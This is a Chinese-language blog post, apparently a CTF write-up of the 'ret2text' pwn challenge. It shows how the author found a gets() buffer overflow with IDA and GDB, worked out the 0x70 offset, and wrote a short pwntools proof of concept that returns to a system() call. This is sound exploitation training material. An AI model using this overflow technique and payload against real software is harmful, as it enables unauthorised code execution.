pwn之ret2text

PWN

题目下载下载地址

web狗的转型之路

before long history。。。。。。之前,一直在web层的安全进行专研,偶然一次接触pwn题,感觉在安全路上又找到了一个新的起点。接下来也会慢慢步入pwn中,了解二进制中的安全。

Start

准备工具

  • gdb: linux下的动态调试工具。
  • ida: 方便windows下静态查看的反编译工具。

题目大概


初步运行该文件,发现该文件功能大致为输入,输出。

IDA还原C代码,可以发现主函数使用gets()进行输入,printf()进行输出。

概要分析


IDA分析发现的看到两个关键点分别为gets(),system()。正常运行题目文件会在输入参数后跳转到printf()函数,是无法跳转到system函数。所以,我们要利用C语言中的gets()函数存在溢出漏洞进行填充溢出至system()函数地址```0x0804863A``,去执行system()函数。

动态分析

ida静态分析,定位到gets()函数地址。F5还原C代码,ida显示s到ebp的偏移为64h,但ida的静态分析可能存在不准确信,所有再用gdb动态进行分析确定。
使用GDB在gets()函数地址080486AE下断点 b *0x080486AE
输入r运行

ESP为ffffcfa0,其中存放的内容为ffffcfbc,即输入的内容s的地址为ESP+1c= ffffcfbc,而EBP为ffffd028,则s到EBP的偏移为|ffffd028- ffffcfbc|=6c,所以s相对与返回地址的偏移为0x6c+4=0x70。所以ida的偏移64h还是存在偏差。所以溢出偏移量为0x6C+0x04(return地址)=0x70。

GDB pattern计算偏移量


在get()函数的下一个地址下断点,进入输入参数阶段。

使用pattern_create 200生成随机200个字符,来进行溢出输入。


使用GDB pattern通过溢出的地址计算出偏移量为112=0x70。

POC

from pwn import *

sh = process("./ret2text")
binsh_addr = 0x0804863a
payload = flat(["A" * 0x70, binsh_addr])
sh.sendline(payload)
sh.interactive()

编写POC,成功调用system函数。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!